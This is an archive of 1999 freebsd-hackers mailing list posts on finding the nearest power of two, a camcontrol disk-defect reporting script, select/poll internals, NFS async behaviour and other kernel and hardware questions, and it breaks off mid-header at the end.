From owner-freebsd-hackers Sun Aug 22 0:50:38 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from gratis.grondar.za (gratis.grondar.za [196.7.18.133]) by hub.freebsd.org (Postfix) with ESMTP id 3C51714E22 for ; Sun, 22 Aug 1999 00:50:27 -0700 (PDT) (envelope-from mark@grondar.za) Received: from grondar.za (localhost [127.0.0.1]) by gratis.grondar.za (8.9.3/8.9.3) with ESMTP id JAA69064; Sun, 22 Aug 1999 09:50:13 +0200 (SAST) (envelope-from mark@grondar.za) Message-Id: <199908220750.JAA69064@gratis.grondar.za> To: Nick Hibma Cc: FreeBSD Hackers mailing list Subject: Re: from number to power of two Date: Sun, 22 Aug 1999 09:50:12 +0200 From: Mark Murray Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > Does anyone know an inexpensive algorithm (O(1)) to go from an number to > the next (lower or higher) power of two. > > 1 -> 1 > 2,3 -> 2 > 4,5,6,7 -> 4 > 8,9,10,11,12,13,14,15 -> 8 > etc. > > So %1101 should become either %10000 or %1000. Shift a bit until it becomes greater than (or less than) the number in question. M -- Mark Murray Join the anti-SPAM movement: http://www.cauce.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun Aug 22 1: 2:29 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from metriclient-1.uoregon.edu (metriclient-1.uoregon.edu [128.223.172.1]) by hub.freebsd.org (Postfix) with ESMTP id A0D691539C for ; Sun, 22 Aug 1999 01:02:13 -0700 (PDT) (envelope-from gurney_j@efn.org) Received: (from jmg@localhost) by metriclient-1.uoregon.edu (8.9.1/8.8.7) id BAA07432; Sun, 22 Aug 1999 01:01:57 -0700 (PDT) Message-ID: <19990822010157.02195@hydrogen.fircrest.net> Date: Sun, 22 Aug 1999 01:01:57 -0700 From: John-Mark Gurney To: Mark Murray Cc: Nick Hibma , FreeBSD Hackers mailing list Subject: Re: from number to power of two References: <199908220750.JAA69064@gratis.grondar.za> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.69 In-Reply-To: <199908220750.JAA69064@gratis.grondar.za>; from Mark Murray on Sun, Aug 22, 1999 at 09:50:12AM +0200 Reply-To: John-Mark Gurney Organization: Cu Networking X-Operating-System: FreeBSD 3.0-RELEASE i386 X-PGP-Fingerprint: B7 EC EF F8 AE ED A7 31 96 7A 22 B3 D8 56 36 F4 X-Files: The truth is out there X-URL: http://resnet.uoregon.edu/~gurney_j/ Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Mark Murray scribbled this message on Aug 22: > > Does anyone know an inexpensive algorithm (O(1)) to go from an number to > > the next (lower or higher) power of two. > > > > 1 -> 1 > > 2,3 -> 2 > > 4,5,6,7 -> 4 > > 8,9,10,11,12,13,14,15 -> 8 > > etc. > > > > So %1101 should become either %10000 or %1000. > > Shift a bit until it becomes greater than (or less than) the number > in question. ummm, didn't you read his post?? he wanted a O(1) routine, NOT a O(n) routine... -- John-Mark Gurney Voice: +1 541 684 8449 Cu Networking P.O. Box 5693, 97405 "The soul contains in itself the event that shall presently befall it. The event is only the actualizing of its thought." -- Ralph Waldo Emerson To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun Aug 22 1:12:24 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from metriclient-1.uoregon.edu (metriclient-1.uoregon.edu [128.223.172.1]) by hub.freebsd.org (Postfix) with ESMTP id 1634714C45 for ; Sun, 22 Aug 1999 01:12:19 -0700 (PDT) (envelope-from gurney_j@efn.org) Received: (from jmg@localhost) by metriclient-1.uoregon.edu (8.9.1/8.8.7) id BAA07656; Sun, 22 Aug 1999 01:12:19 -0700 (PDT) Message-ID: <19990822011218.60743@hydrogen.fircrest.net> Date: Sun, 22 Aug 1999 01:12:18 -0700 From: John-Mark Gurney To: hackers@freebsd.org Subject: watching defects on scsi disks... Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.69 Reply-To: John-Mark Gurney Organization: Cu Networking X-Operating-System: FreeBSD 3.0-RELEASE i386 X-PGP-Fingerprint: B7 EC EF F8 AE ED A7 31 96 7A 22 B3 D8 56 36 F4 X-Files: The truth is out there X-URL: http://resnet.uoregon.edu/~gurney_j/ Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I was wondering if someone would like to clean up a bit of shell scripting I wrote to attach a report of the defect list to the daily output... it works great so far and thought I might as well share this w/ the rest of people... once it gets cleaned up, I have no problems w/ committing it to the tree, it's just kinda ugly right now... bak=/var/backups echo "" echo "" echo "checking disks for defects:" for i in `camcontrol devlist | awk '/(da|sd)/ { if (match($0, "(da|sd)[[:digit:]]+") != 0) { diskname = substr($0, RSTART, RLENGTH); match(diskname, "[[:digit:]]+"); print substr(diskname, RSTART, RLENGTH) } }' | sort -u`; do if [ -f ${bak}/da${i}.glist ]; then mv ${bak}/da${i}.glist ${bak}/da${i}.glist.bak fi echo -n "da${i}: " camcontrol defects -u $i -f phys -G 2>&1 > ${bak}/da${i}.glist if [ -f ${bak}/da${i}.glist.bak ]; then if ! cmp -s ${bak}/da${i}.glist ${bak}/da${i}.glist.bak; then diff ${bak}/da${i}.glist.bak ${bak}/da${i}.glist fi fi done -- John-Mark Gurney Voice: +1 541 684 8449 Cu Networking P.O. Box 5693, 97405 "The soul contains in itself the event that shall presently befall it. The event is only the actualizing of its thought." -- Ralph Waldo Emerson To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun Aug 22 1:13: 4 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from ns.skylink.it (ns.skylink.it [194.177.113.1]) by hub.freebsd.org (Postfix) with ESMTP id 5D4D915009 for ; Sun, 22 Aug 1999 01:13:01 -0700 (PDT) (envelope-from n_hibma@skylink.it) Received: from heidi.plazza.it (va-156.skylink.it [194.185.55.156]) by ns.skylink.it (8.9.1/8.8.8) with ESMTP id KAA07903; Sun, 22 Aug 1999 10:13:02 +0200 Received: from localhost (localhost [127.0.0.1]) by heidi.plazza.it (8.9.3/8.8.5) with ESMTP id KAA20938; Sun, 22 Aug 1999 10:00:35 +0200 (CEST) Date: Sun, 22 Aug 1999 10:00:35 +0200 (CEST) From: Nick Hibma X-Sender: n_hibma@heidi.plazza.it Reply-To: Nick Hibma To: Mark Murray Cc: FreeBSD Hackers mailing list Subject: Re: from number to power of two In-Reply-To: <199908220750.JAA69064@gratis.grondar.za> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG It seems that all the solutions are too generic and slow. As I only have to check the numbers 0-32 (actually 1-32), a block of if statements is almost as fast as a table look up in 33 elements. Cheers, Nick On Sun, 22 Aug 1999, Mark Murray wrote: > > Does anyone know an inexpensive algorithm (O(1)) to go from an number to > > the next (lower or higher) power of two. > > > > 1 -> 1 > > 2,3 -> 2 > > 4,5,6,7 -> 4 > > 8,9,10,11,12,13,14,15 -> 8 > > etc. > > > > So %1101 should become either %10000 or %1000. > > Shift a bit until it becomes greater than (or less than) the number > in question. > > M > -- > Mark Murray > Join the anti-SPAM movement: http://www.cauce.org > > -- e-Mail: hibma@skylink.it To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun Aug 22 2:43:45 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from scam.xcf.berkeley.edu (scam.XCF.Berkeley.EDU [128.32.43.201]) by hub.freebsd.org (Postfix) with SMTP id 5322B14DCE for ; Sun, 22 Aug 1999 02:43:44 -0700 (PDT) (envelope-from nordwick@scam.xcf.berkeley.edu) Received: (qmail 99528 invoked by uid 27268); 22 Aug 1999 09:43:07 -0000 Message-ID: <19990822094307.99527.qmail@scam.xcf.berkeley.edu> To: freebsd-hackers@freebsd.org Subject: select/poll implementation MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-ID: <99526.935314987.1@scam.XCF.Berkeley.EDU> Date: Sun, 22 Aug 1999 02:43:07 -0700 From: "Jay Nordwick" Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I had always wondered how select/poll worked (actually see the end of the mail to see the broader question), so I pulled up select() and family and started reading and chasing stuff around. I think that I fully understand (much praise to whoever wrote most of that, it was incredibly easy to read) everything from sys_generic.c. I just need someone to clear up a couple things: 1) It seems that all select (and poll) calls wait on the same condition variable (selwait), so when you wake up on select/poll call, you wake them all up. (selwakeup() seems to call wake() on selwait, but then hunts for a specific process to make runnable(), I'm confused). 2) Where does the struct sockbuf -> struct selinfo sb_sel get filled in? I see it passed around, but I do not see select setting it before it tsleeps() on selwait. thanks -jason P.S., Specifically, I was porting a threaed win32 program to UNIX and pthreads. The one big problem is that there is some win32 event handling code that waits for events (a glorified condition variable). There two procedures that I have to implement are called WaitForSingleEvent() and WaitForMultipleEvents(). Okay, waiting for a single event is easy to implement, but waiting for any of multiple events seems more difficult. I thought to go see how select()/poll() did it, since it did something similar. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun Aug 22 4: 8:15 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from peach.ocn.ne.jp (peach.ocn.ne.jp [210.145.254.87]) by hub.freebsd.org (Postfix) with ESMTP id 9A6CC14ED3 for ; Sun, 22 Aug 1999 04:08:12 -0700 (PDT) (envelope-from dcs@newsguy.com) Received: from newsguy.com by peach.ocn.ne.jp (8.9.1a/OCN) id UAA25673; Sun, 22 Aug 1999 20:07:47 +0900 (JST) Message-ID: <37BFD9D0.D330B565@newsguy.com> Date: Sun, 22 Aug 1999 20:06:56 +0900 From: "Daniel C. Sobral" X-Mailer: Mozilla 4.6 [en] (Win98; I) X-Accept-Language: en,pt-BR,ja MIME-Version: 1.0 To: John-Mark Gurney Cc: Mark Murray , Nick Hibma , FreeBSD Hackers mailing list Subject: Re: from number to power of two References: <199908220750.JAA69064@gratis.grondar.za> <19990822010157.02195@hydrogen.fircrest.net> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG John-Mark Gurney wrote: > > > Shift a bit until it becomes greater than (or less than) the number > > in question. > > ummm, didn't you read his post?? he wanted a O(1) routine, NOT a O(n) > routine... That technique is O(ln(n)), where n is the number in question. Frankly, for numbers up to 32, a table will wield the best results, and might actually be smaller than some of the suggestions given so far. -- Daniel C. Sobral (8-DCS) dcs@newsguy.com dcs@freebsd.org - Come on. - Where are we going? - To get what you came for. - What's that? - Me. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun Aug 22 4:55:28 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from peach.ocn.ne.jp (peach.ocn.ne.jp [210.145.254.87]) by hub.freebsd.org (Postfix) with ESMTP id C566714E44 for ; Sun, 22 Aug 1999 04:55:24 -0700 (PDT) (envelope-from dcs@newsguy.com) Received: from newsguy.com by peach.ocn.ne.jp (8.9.1a/OCN) id UAA00881; Sun, 22 Aug 1999 20:54:09 +0900 (JST) Message-ID: <37BFE355.5EE72B11@newsguy.com> Date: Sun, 22 Aug 1999 20:47:33 +0900 From: "Daniel C. Sobral" X-Mailer: Mozilla 4.6 [en] (Win98; I) X-Accept-Language: en,pt-BR,ja MIME-Version: 1.0 To: Chris Cc: hackers@FreeBSD.ORG Subject: Re: IDE quirk in 3.2-STABLE kernel ? References: <001201bedfb8$92fa3440$88291fac@wipro.tcpn.com> <37AA75DD.3F3DD365@softweyr.com> <37AB8B48.4A79197B@tig.com.au> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Chris wrote: > > I am glad to hear from Soren that this 'misconfiguration' will be > supported in 4.0 > As always when a misconfiguration (read 'not to spec') is used enough > then it quickly becomes somewhat of a de facto standard. Old message, but still in need for reply. Yeah, like isa shared irq's which are no longer supported by Windows, or pcmcia card removal without previous deactivation which is no longer supported by Windows, but were all "de facto" standards. What happens is that these "de facto" standards usually work only by accident, only with certain hardware configurations, only with certain loads, and/or only if the operating system adheres to certain restrictions (like not being truly multitasking). FreeBSD's main target is servers. Sure, we do care about desktop, despite the common claim that we leave that to Linux. But the *main* target is servers, and if supporting a "de facto standard" will detract from support for server configurations, we will *not* support it. Alas, in most case is just a matter of making options for buggy hardware/bios/whatever. But, again, people working on FreeBSD is most likely to devote their time to making *good* hardware work than making bad hardware work. And the same applies for the case above. -- Daniel C. Sobral (8-DCS) dcs@newsguy.com dcs@freebsd.org - Come on. - Where are we going? - To get what you came for. - What's that? - Me. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun Aug 22 6:16:16 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from hda.hda.com (hda-bicnet.bicnet.net [209.244.238.132]) by hub.freebsd.org (Postfix) with ESMTP id 5547A14D01 for ; Sun, 22 Aug 1999 06:15:59 -0700 (PDT) (envelope-from dufault@hda.hda.com) Received: (from dufault@localhost) by hda.hda.com (8.8.5/8.8.5) id JAA18225; Sun, 22 Aug 1999 09:14:27 -0400 (EDT) From: Peter Dufault Message-Id: <199908221314.JAA18225@hda.hda.com> Subject: Re: from number to power of two In-Reply-To: from Nick Hibma at "Aug 22, 99 10:00:35 am" To: hibma@skylink.it Date: Sun, 22 Aug 1999 09:14:26 -0400 (EDT) Cc: hackers@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL25 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > It seems that all the solutions are too generic and slow. As I only have > to check the numbers 0-32 (actually 1-32), a block of if statements is > almost as fast as a table look up in 33 elements. I doubt it - use the table for a small fixed size set then use Warner's "(n) ? (1 << (ffs(n) - 1)) : 0". The possible inline ffs is in machine/cpufunc.h ffs() is fundamental to scheduling queues and cryptography and should have attention paid to it. As Warner said, it could be a single instruction on some architectures. Peter -- Peter Dufault (dufault@hda.com) Realtime development, Machine control, HD Associates, Inc. Safety critical systems, Agency approval To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun Aug 22 6:19:13 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from mitss5.mit-s.otaru-uc.ac.jp (mitss5.mit-s.otaru-uc.ac.jp [150.83.68.42]) by hub.freebsd.org (Postfix) with ESMTP id 2CECA14D01 for ; Sun, 22 Aug 1999 06:19:06 -0700 (PDT) (envelope-from mit@mitss5.mit-s.otaru-uc.ac.jp) Received: (from mit@localhost) by mitss5.mit-s.otaru-uc.ac.jp (8.7.5+2.6Wbeta6/3.4W4-mit-s) id WAA14821; Sun, 22 Aug 1999 22:18:42 +0900 (JST) Message-Id: <199908221318.WAA14821@mitss5.mit-s.otaru-uc.ac.jp> To: hackers@FreeBSD.ORG Subject: Re: from number to power of two From: Kazufumi-MIT-Mitani Reply-To: mit@mit-s.otaru-uc.ac.jp In-Reply-To: Your message of "Sun, 22 Aug 1999 20:06:56 +0900" References: <37BFD9D0.D330B565@newsguy.com> X-Mailer: Mew version 1.06 on Emacs 19.28.1, Mule 2.3 Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Date: Sun, 22 Aug 1999 22:18:42 +0900 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG "Daniel C. Sobral" wrote > That technique is O(ln(n)), where n is the number in question. > > Frankly, for numbers up to 32, a table will wield the best results, > and might actually be smaller than some of the suggestions given so > far. Counting n as bit, it is O(n) :p Unrolling the loop, if(n<=2^0) 2^0 else if(n<=2^1) 2^1 else if(n<=2^2) 2^2 else if(n<=2^3) 2^3 : : else if(n<=2^31) 2^31 is suitable for this problem? --- //mit To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun Aug 22 6:35:50 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from ns.skylink.it (ns.skylink.it [194.177.113.1]) by hub.freebsd.org (Postfix) with ESMTP id 93C7114F04 for ; Sun, 22 Aug 1999 06:35:42 -0700 (PDT) (envelope-from n_hibma@skylink.it) Received: from heidi.plazza.it (va-160.skylink.it [194.185.55.160]) by ns.skylink.it (8.9.1/8.8.8) with ESMTP id PAA11722; Sun, 22 Aug 1999 15:35:10 +0200 Received: from localhost (localhost [127.0.0.1]) by heidi.plazza.it (8.9.3/8.8.5) with ESMTP id PAA21846; Sun, 22 Aug 1999 15:32:26 +0200 (CEST) Date: Sun, 22 Aug 1999 15:32:25 +0200 (CEST) From: Nick Hibma X-Sender: n_hibma@heidi.plazza.it Reply-To: Nick Hibma To: Peter Dufault Cc: hackers@FreeBSD.ORG Subject: Re: from number to power of two In-Reply-To: <199908221314.JAA18225@hda.hda.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Unfortunately the kernel is compiled with -O which does not include inlining (dunno about explicit inlining, but don't think so). Nick On Sun, 22 Aug 1999, Peter Dufault wrote: > > It seems that all the solutions are too generic and slow. As I only have > > to check the numbers 0-32 (actually 1-32), a block of if statements is > > almost as fast as a table look up in 33 elements. > > I doubt it - use the table for a small fixed size set then > use Warner's "(n) ? (1 << (ffs(n) - 1)) : 0". > The possible inline ffs is in machine/cpufunc.h > > ffs() is fundamental to scheduling queues and cryptography and > should have attention paid to it. As Warner said, it could be > a single instruction on some architectures. > > Peter > > -- > Peter Dufault (dufault@hda.com) Realtime development, Machine control, > HD Associates, Inc. Safety critical systems, Agency approval > > -- e-Mail: hibma@skylink.it To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun Aug 22 6:39:51 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from web108.yahoomail.com (web108.yahoomail.com [205.180.60.75]) by hub.freebsd.org (Postfix) with SMTP id A40EC154EA for ; Sun, 22 Aug 1999 06:39:43 -0700 (PDT) (envelope-from thallgren@yahoo.com) Message-ID: <19990822133841.9871.rocketmail@web108.yahoomail.com> Received: from [195.100.253.159] by web108.yahoomail.com; Sun, 22 Aug 1999 06:38:41 PDT Date: Sun, 22 Aug 1999 06:38:41 -0700 (PDT) From: =?iso-8859-1?q?Tommy=20Hallgren?= Subject: Re: from number to power of two To: mit@mit-s.otaru-uc.ac.jp, hackers@FreeBSD.ORG MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG --- Kazufumi-MIT-Mitani skrev: > "Daniel C. Sobral" wrote > > > That technique is O(ln(n)), where n is the number in question. > > > > Frankly, for numbers up to 32, a table will wield the best results, > > and might actually be smaller than some of the suggestions given so > > far. > > Counting n as bit, it is O(n) :p No it isn't. You're only looping a maximum of 32 times, not 2^32 times. > Unrolling the loop, > > if(n<=2^0) 2^0 > else if(n<=2^1) 2^1 > else if(n<=2^2) 2^2 > else if(n<=2^3) 2^3 > : > : > else if(n<=2^31) 2^31 > > is suitable for this problem? IMHO, the best solution so far, if a lookup table isn't suitable, is the binary search version that someone posted. Regards, Tommy === Tommy Hallgren Briljantg. 31, SE-421 49, Göteborg Tel.: 0709 - 312 404 (GSM) Tel.: 031 - 47 65 28 (Home) __________________________________________________ Do You Yahoo!? Bid and sell for free at http://auctions.yahoo.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun Aug 22 7:30:31 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from sonet.crimea.ua (OTC-sl3-FLY.CRIS.NET [212.110.136.71]) by hub.freebsd.org (Postfix) with ESMTP id 5E0F414F10 for ; Sun, 22 Aug 1999 07:29:52 -0700 (PDT) (envelope-from phantom@scorpion.crimea.ua) Received: (from uucp@localhost) by sonet.crimea.ua (8.8.8/8.8.8) with UUCP id RAA25251 for hackers@freebsd.org; Sun, 22 Aug 1999 17:30:19 +0400 (MSD) (envelope-from phantom@scorpion.crimea.ua) Received: (from phantom@localhost) by scorpion.crimea.ua (8.8.8/8.8.5+ssl+keepalive) id RAA04726 for hackers@freebsd.org; Sun, 22 Aug 1999 17:22:53 +0400 (MSD) Message-Id: <199908221322.RAA04726@scorpion.crimea.ua> Subject: font edit tools To: hackers@freebsd.org Date: Sun, 22 Aug 1999 17:22:53 +0400 (MSD) From: "Alexey M. Zelkin" X-Mailer: ELM [version 2.4ME+ PL40 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG hi, Which tools can be used to edit syscons fonts ? Any references are welcome! -- Sincerely Yours, | phantom@crimea.edu (primary) Alexey Zelkin | phantom@scorpion.crimea.ua (home) | ICQ: #6196584, FIDO: 2:460/12.26 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun Aug 22 8:22:37 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from smtp02.teb1.iconnet.net (smtp02.teb1.iconnet.net [209.3.218.43]) by hub.freebsd.org (Postfix) with ESMTP id 9FAFF1516F for ; Sun, 22 Aug 1999 08:22:35 -0700 (PDT) (envelope-from babkin@bellatlantic.net) Received: from bellatlantic.net (client-117-19.bellatlantic.net [151.198.117.19]) by smtp02.teb1.iconnet.net (8.9.1/8.9.1) with ESMTP id LAA09393; Sun, 22 Aug 1999 11:21:01 -0400 (EDT) Message-ID: <37C01637.1FF3EDF7@bellatlantic.net> Date: Sun, 22 Aug 1999 11:24:39 -0400 From: Sergey Babkin X-Mailer: Mozilla 4.07 [en] (X11; I; FreeBSD 3.0-980222-SNAP i386) MIME-Version: 1.0 To: "Alexey M. Zelkin" Cc: hackers@FreeBSD.ORG Subject: Re: font edit tools References: <199908221322.RAA04726@scorpion.crimea.ua> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Alexey M. Zelkin wrote: > > hi, > > Which tools can be used to edit syscons fonts ? Any of the tools you use to edit the DOS fonts. My favorite one it Evafont by Pete Kvitek. But there were a lot of tools floating around. -SB To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun Aug 22 9:27:41 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from herring.nlsystems.com (nlsys.demon.co.uk [158.152.125.33]) by hub.freebsd.org (Postfix) with ESMTP id 8077414BCF for ; Sun, 22 Aug 1999 09:27:37 -0700 (PDT) (envelope-from dfr@nlsystems.com) Received: from salmon.nlsystems.com (salmon.nlsystems.com [10.0.0.3]) by herring.nlsystems.com (8.9.3/8.8.8) with ESMTP id RAA91268; Sun, 22 Aug 1999 17:36:39 +0100 (BST) (envelope-from dfr@nlsystems.com) Date: Sun, 22 Aug 1999 17:36:39 +0100 (BST) From: Doug Rabson To: Matthew Dillon Cc: "Matthew D. Fuller" , Steve Ames , freebsd-hackers@freebsd.org Subject: Re: Async NFS exports? In-Reply-To: <199908202032.NAA64957@apollo.backplane.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Fri, 20 Aug 1999, Matthew Dillon wrote: > :> Just to be clear... I am wondering if mounting (on the NFS _server_) a > :> partition (that is exportable) as async will have any performance > :> benefits to the NFS clients? > : > :As a first guess, probably not unless you have a large number of active > :clients. Any modern hard disc will outperform ethernet/fast ethernet, > :especially for larger read/writes. For large numbers of smaller > :operations, or when there is a large number of simultaneous outstanding > :requests from clients, maybe. I'd say watch the disc itself (iostat is > :your friend), and if it's pegged (especially large numbers of tps) async > :might buy you some increase. > :-- > :Matthew Fuller (MF4839) | fullermd@over-yonder.net > > Not much if at all, whether you have a large number of clients or not, > at least if you are using NFSv3 mounts. > > The reason is due to the way NFSv3 issues writes. NFSv3 issues a > write but no longer assumes that the write has been synced to the > server's disk as of when the reply comes back. Instead it keeps the > buffer around and does a later commit rpc to do the sync, presumably > long after the server has already synced the data. > > So, effectively, all NFSv3 writes are async insofar as the client's > buffer cache is able to keep abrest of the write-rate. > > Hmm, interesting. I see another optimization I can do to fix the > buffer cache saturation case in CURRENT on the client. The COMMIT rpc's > aren't being issued async. You need to track the return value of the commit so that you can detect server reboots and sync-write the data again. If you change to async, make sure that you still keep this part - its essential to the protocol. -- Doug Rabson Mail: dfr@nlsystems.com Nonlinear Systems Ltd. Phone: +44 181 442 9037 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun Aug 22 10: 1:46 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from apollo.backplane.com (apollo.backplane.com [209.157.86.2]) by hub.freebsd.org (Postfix) with ESMTP id 7542915571 for ; Sun, 22 Aug 1999 10:01:38 -0700 (PDT) (envelope-from dillon@apollo.backplane.com) Received: (from dillon@localhost) by apollo.backplane.com (8.9.3/8.9.1) id KAA77935; Sun, 22 Aug 1999 10:00:19 -0700 (PDT) (envelope-from dillon) Date: Sun, 22 Aug 1999 10:00:19 -0700 (PDT) From: Matthew Dillon Message-Id: <199908221700.KAA77935@apollo.backplane.com> To: Doug Rabson Cc: "Matthew D. Fuller" , Steve Ames , freebsd-hackers@freebsd.org Subject: Re: Async NFS exports? References: Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG :> buffer cache is able to keep abrest of the write-rate. :> :> Hmm, interesting. I see another optimization I can do to fix the :> buffer cache saturation case in CURRENT on the client. The COMMIT rpc's :> aren't being issued async. : :You need to track the return value of the commit so that you can detect :server reboots and sync-write the data again. If you change to async, make :sure that you still keep this part - its essential to the protocol. : :-- :Doug Rabson Mail: dfr@nlsystems.com :Nonlinear Systems Ltd. Phone: +44 181 442 9037 These are buffer-cache entities we are talking about here, so they won't go away until NFS tells the system they can go away. In that respect async I/O is no different then sync I/O. async I/O is simply run synchronously from an nfsiod context. -Matt Matthew Dillon To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun Aug 22 12:55:45 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from vespucci.advicom.net (vespucci.advicom.net [199.170.120.42]) by hub.freebsd.org (Postfix) with ESMTP id 5CE5C1573A for ; Sun, 22 Aug 1999 12:55:31 -0700 (PDT) (envelope-from avalon@advicom.net) Received: from advicom.net (dyn-u1-31.advicom.net [165.113.131.31]) by vespucci.advicom.net (8.8.8/8.8.5) with ESMTP id OAA28038 for ; Sun, 22 Aug 1999 14:50:04 -0500 (CDT) X-Envelope-Recipient: Message-ID: <37C0566C.533AD703@advicom.net> Date: Sun, 22 Aug 1999 14:58:36 -0500 From: The Evil Anti-Rick X-Mailer: Mozilla 4.08 [en] (X11; I; FreeBSD 2.2.6-RELEASE i386) MIME-Version: 1.0 To: FreeBSD-hackers@freebsd.org Subject: Parallel Video Interfaces Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Is anyone doing any work to support parallel video interfaces like the Snappy or Gotcha cards? I have Snappy card, and I would like to put it to use as part of an internal video security system. --R. Pelletier, Sys Admin, House Galiagante To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun Aug 22 13:38:46 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from reliam.teaser.fr (reliam.teaser.fr [194.51.80.12]) by hub.freebsd.org (Postfix) with ESMTP id D8B6D14DE1 for ; Sun, 22 Aug 1999 13:38:41 -0700 (PDT) (envelope-from nsouch@teaser.fr) Received: from teaser.fr (ppp1087-ft.teaser.fr [194.206.156.40]) by reliam.teaser.fr (8.9.3/8.9.3) with ESMTP id WAA19022; Sun, 22 Aug 1999 22:38:28 +0200 (MET DST) Received: (from nsouch@localhost) by teaser.fr (8.9.3/8.9.1) id WAA01600; Sun, 22 Aug 1999 22:33:06 +0200 (CEST) (envelope-from nsouch) Message-ID: <19990822223306.51905@breizh.teaser.fr> Date: Sun, 22 Aug 1999 22:33:06 +0200 From: Nicolas Souchu To: Mike Nowlin Cc: freebsd-hackers@FreeBSD.ORG Subject: Re: I2C/SMBus/LPBB References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.81e In-Reply-To: ; from Mike Nowlin on Sat, Aug 21, 1999 at 02:46:51AM -0400 X-Operating-System: FreeBSD breizh 4.0-CURRENT 